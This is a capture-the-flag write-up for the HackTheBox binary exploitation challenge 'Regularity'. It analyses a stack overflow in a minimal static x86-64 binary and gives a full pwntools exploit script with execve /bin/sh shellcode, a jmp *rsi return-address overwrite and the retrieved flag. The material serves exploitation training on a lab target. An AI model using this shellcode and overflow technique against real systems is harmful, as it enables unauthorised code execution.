pwnfreeeasy

Regularity

hackthebox

Task: Exploit a minimal static x86-64 binary with executable stack and no canary. Solution: Overflow a 256-byte buffer via 272-byte read to overwrite the return address with a jmp *rsi gadget at 0x401041, which jumps to shellcode placed at the buffer start since RSI is preserved after the read syscall.

$ ls tags/ techniques/
shellcode_injectionret_overwritejmp_rsi_gadgetregister_preservation

Regularity - HackTheBox

Description

Nothing much changes from day to day. Famine, conflict, hatred - it's all part and parcel of the lives we live now. We've grown used to the animosity that we experience every day, and that's why it's so nice to have a useful program that asks how I'm doing. It's not the most talkative, though, but it's the highest level of tech most of us will ever see...

Remote: nc 94.237.61.248 42609

Files

  • regularity - ELF 64-bit LSB executable, x86-64, statically linked, not stripped
  • flag.txt - Fake flag for local testing

Analysis

Binary Properties

$ checksec regularity
Arch:       amd64-64-little
RELRO:      No RELRO
Stack:      No canary found
NX:         NX unknown - GNU_STACK missing
PIE:        No PIE (0x400000)
Stack:      Executable
RWX:        Has RWX segments
Stripped:   No

Key observations:

  • No stack canary - buffer overflow possible
  • Executable stack - shellcode execution possible
  • No PIE - fixed addresses, gadgets at known locations
  • Statically linked - minimal attack surface but predictable layout

Disassembly

The binary is a minimal assembly program:

_start (0x401000): - Prints "Hello, Survivor. Anything new these days?" - Calls read function - Prints "Yup, same old same old here as well..." - Jumps to exit via jmp *rsi read (0x40104b): subq $0x100, %rsp # Allocate 256 bytes on stack movl $0x0, %eax # syscall number 0 (read) movl $0x0, %edi # fd = 0 (stdin) leaq (%rsp), %rsi # RSI = buffer address on stack movl $0x110, %edx # count = 272 bytes <-- VULNERABILITY! syscall addq $0x100, %rsp # Restore stack (256 bytes) ret # Return to caller write (0x401043): - Standard write syscall wrapper exit (0x40106f): - exit(0) syscall

Vulnerability

Classic stack buffer overflow in the read function:

Stack LayoutSize
Buffer256 bytes (0x100)
Saved RBP8 bytes
Return Address8 bytes

The function:

  1. Allocates 256 bytes on stack
  2. Reads 272 bytes (0x110) - 16 bytes overflow
  3. Overflow allows overwriting return address

Key Gadget

At address 0x401041 there's a powerful gadget:

0x401041: jmp *rsi

Why this matters:

  • After the read syscall, RSI still points to our input buffer
  • Linux syscalls preserve RSI (it's a callee-saved register for syscalls)
  • By returning to this gadget, we jump directly to our controlled buffer

Exploitation Strategy

+------------------+
|    Shellcode     |  <- RSI points here after read
|    (29 bytes)    |
+------------------+
|    NOP sled      |
|   (227 bytes)    |
+------------------+
| jmp *rsi gadget  |  <- Return address (0x401041)
|    (8 bytes)     |
+------------------+

Flow: read() returns -> jmp *rsi -> shellcode executes
  1. Place shellcode at buffer start (where RSI points)
  2. Pad with NOPs to reach 256 bytes
  3. Overwrite return address with jmp *rsi gadget
  4. On return, gadget executes, jumping to our shellcode
  5. Shellcode spawns /bin/sh

Solution

#!/usr/bin/env python3 """ Regularity - HackTheBox PWN Stack buffer overflow with jmp *rsi gadget Vulnerability: read() allocates 256 bytes but reads 272 bytes Exploitation: Overwrite return address with jmp *rsi gadget to execute shellcode """ from pwn import * context.arch = 'amd64' context.log_level = 'info' # execve("/bin/sh") shellcode - 29 bytes # Source: shell-storm.org/shellcode/files/shellcode-905.html shellcode = ( b"\x6a\x42" # push 0x42 b"\x58" # pop rax b"\xfe\xc4" # inc ah (rax = 0x3b = execve) b"\x48\x99" # cqo (rdx = 0) b"\x52" # push rdx (null terminator) b"\x48\xbf\x2f\x62\x69" # movabs rdi, "/bin//sh" b"\x6e\x2f\x2f\x73\x68" b"\x57" # push rdi b"\x54" # push rsp b"\x5e" # pop rsi b"\x49\x89\xd0" # mov r8, rdx b"\x49\x89\xd2" # mov r10, rdx b"\x0f\x05" # syscall ) # Gadget: jmp *rsi at 0x401041 # After read syscall, RSI still points to our buffer JMP_RSI = 0x401041 def exploit(target): if target == 'local': p = process('./regularity') else: p = remote('94.237.61.248', 42609) # Build payload payload = shellcode # Shellcode at buffer start (29 bytes) payload = payload.ljust(256, b'\x90') # Pad to 256 bytes with NOPs payload += p64(JMP_RSI) # Overwrite return address log.info(f"Payload size: {len(payload)} bytes") log.info(f"Shellcode size: {len(shellcode)} bytes") log.info(f"Gadget address: {hex(JMP_RSI)}") # Send payload p.recvuntil(b'days?') p.send(payload) # Wait for shell sleep(0.5) # Get flag p.sendline(b'cat flag.txt') response = p.recvall(timeout=3) print(response.decode()) p.close() if __name__ == '__main__': import sys target = sys.argv[1] if len(sys.argv) > 1 else 'remote' exploit(target)

Execution

$ python3 solve.py remote [+] Opening connection to 94.237.61.248 on port 42609: Done [*] Payload size: 264 bytes [*] Shellcode size: 29 bytes [*] Gadget address: 0x401041 HTB{juMp1nG_w1tH_tH3_r3gIsT3rS?_c144acda6e91bbbabebe919c14ce1187}

Key Indicators

Use this technique when you see:

  • Executable stack (NX disabled, RWX segments)
  • No stack canary
  • Buffer overflow with controlled size
  • Register pointing to buffer after syscall/function call
  • jmp *reg or call *reg gadgets available

Lessons Learned

  1. Challenge name hint: "Regularity" refers to the predictable/regular state of registers after syscalls - RSI preservation is the key insight

  2. Syscall register preservation: Linux syscalls preserve RSI, making it a reliable pointer to user-controlled data

  3. Minimal binaries: Simple assembly programs often lack modern protections, making them ideal for learning classic exploitation techniques

  4. Gadget hunting: Even tiny binaries can contain useful gadgets - jmp *rsi is powerful when you control the buffer and know register state

  5. Static analysis first: Understanding the exact buffer sizes and read limits from disassembly is crucial for precise exploitation

References

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups